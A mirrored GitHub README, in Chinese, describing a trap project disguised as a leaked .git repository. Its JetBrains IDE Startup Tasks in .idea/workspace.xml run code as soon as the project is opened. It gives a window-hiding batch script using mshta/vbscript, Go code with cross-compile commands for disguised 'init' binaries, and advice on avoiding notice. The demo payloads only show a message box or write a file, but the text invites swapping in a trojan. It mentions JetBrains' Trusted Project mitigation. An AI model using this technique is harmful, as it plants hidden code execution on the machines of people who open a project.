Coder Social home page Coder Social logo

idea-project-fish-exploit's Introduction

JetBrains系列产品.idea钓鱼反制红队

一、利用思路

将这个项目伪装为一个.git泄露,红队使用扫描器扫描到.git泄露大概率会忍不住诱惑下载,如果下载完使用JetBrains家的IDE打开则会直接RCE

为了使其有更大的可能性使用IDE打开,将项目伪装的尽可能大一些,看起来不是一个文本编辑器查看能够搞得定的,这个时候会写代码的红队很可能会使用自己的IDE打开阅读尝试寻找有效信息。

二、为什么能够在打开项目的时候RCE

JetBrains系列的产品支持一个Startup Tasks的功能:

https://www.jetbrains.com/help/idea/settings-tools-startup-tasks.html

这个功能是用于在每次使用JetBrains系列的IDE打开给定项目的时候都执行某个任务,有些系列的IDE会将Startup Tasks放在Tools菜单下, 但是有些系列的IDE不会放,从File --> Settings 打开设置:

然后搜索Startup Tasks即可打开相关设置项,然后Add New Configuration增加一个新的配置:

这里有很多选项,通过这些任务就可以实现RCE:

三、执行任意脚本文件

这里选择比较容易实现RCE的shell script

选择项目文件夹下的批处理文件,注意一定要取消勾选Actiovate tool window,这个选项被勾选时执行脚本的时候会把Terminal窗口给打开再执行,这个时候隐蔽性就没那么高了, 一旦激警很可能会迅速取消使得文件得不到执行:

这个文件的内容是保存在项目文件夹下的.idea/workspace.xml文件中的:

打开此文件,可以找到刚刚添加的任务:

批处理文件的内容:

@REM 这几行是为了隐藏执行时的黑框
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin

@REM 从这里开始是自定义的逻辑,可以使用bat进行一些非法操作啥的
mshta vbscript:msgbox("You Are Hacked By Me!",1,"Tips")(window.close)

此时退出重新打开项目就会执行这个批处理文件,不过经过实验发现了一种更好的方式。

四、执行可执行文件

笔者实验发现在shell script任务中可以不必老老实实指定一个批处理脚本文件,而是可以直接指定一个二进制文件,这个二进制文件一样会被执行。

比如现在使用golang模拟一个木马的行为,这里为了简单只是写个本地文件用来证明确实被执行了:

package main

import (
	"fmt"
	"io/ioutil"
	"time"
)

func main() {

	// 只是写一个本地文件,用于证明确实能够执行可执行文件,在实际进行钓鱼攻击的时候可以替换为木马文件直接执行啥的
	message := fmt.Sprintf("[%s] 您好,当您看到此行文本的时候,您已经被成功钓鱼,请及时打开杀软扫描清理!", time.Now().Format("2006-01-02 15:04:05"))
	content := []byte(message)
	err := ioutil.WriteFile("prove.txt", content, 0644)
	if err != nil {
		panic(err)
	}
}

借助于goland的交叉编译,可以很方便的为各个平台都生成可执行文件,这里为了增加迷惑性手动指定了编译后的二进制文件名字:

编译Windows下的可执行文件:

$env:CGO_ENABLED="0"  
$env:GOOS="windows"  
$env:GOARCH="amd64"  
go build -o ./bin/windows/init.exe main.go

编译Mac下的可执行文件:

$env:CGO_ENABLED="0"  
$env:GOOS="darwin"  
$env:GOARCH="amd64"  
go build -o ./bin/mac/init main.go

编译Linux下的可执行文件:

$env:CGO_ENABLED="0"  
$env:GOOS="linux"  
$env:GOARCH="amd64"  
go build -o ./bin/linux/init main.go

然后添加三个Startup Task以防有漏网之鱼:

此时.idea/workspace.xml文件中可以看到这三个任务:

然后重启项目,观察项目根目录下是否有名为prove.txt的文件被创建了,打开查看其内容:

可以看到时间就是刚刚写入的,证明二进制文件被成功执行了,这个二进制文件如果替换为木马,那就相当于是在红队机器上直接执行木马上线了...

五、结语

  1. 技术对抗是件很有意思的事情,谁是猎人谁是猎物可能是不确定的。
  2. JetBrains家已经增加了Trusted Project 来预防这种钓鱼,在打开不可信项目时会先弹个窗让用户选择项目的可信级别: 相关资料:
    https://www.jetbrains.com/help/idea/project-security.html
    https://zhuanlan.zhihu.com/p/358052965

六、参考资料

  1. 利用项目配置文件进行 RCE - IDE Trust Project 功能探究

idea-project-fish-exploit's People

Contributors

cc11001100 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

idea-project-fish-exploit's Issues

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.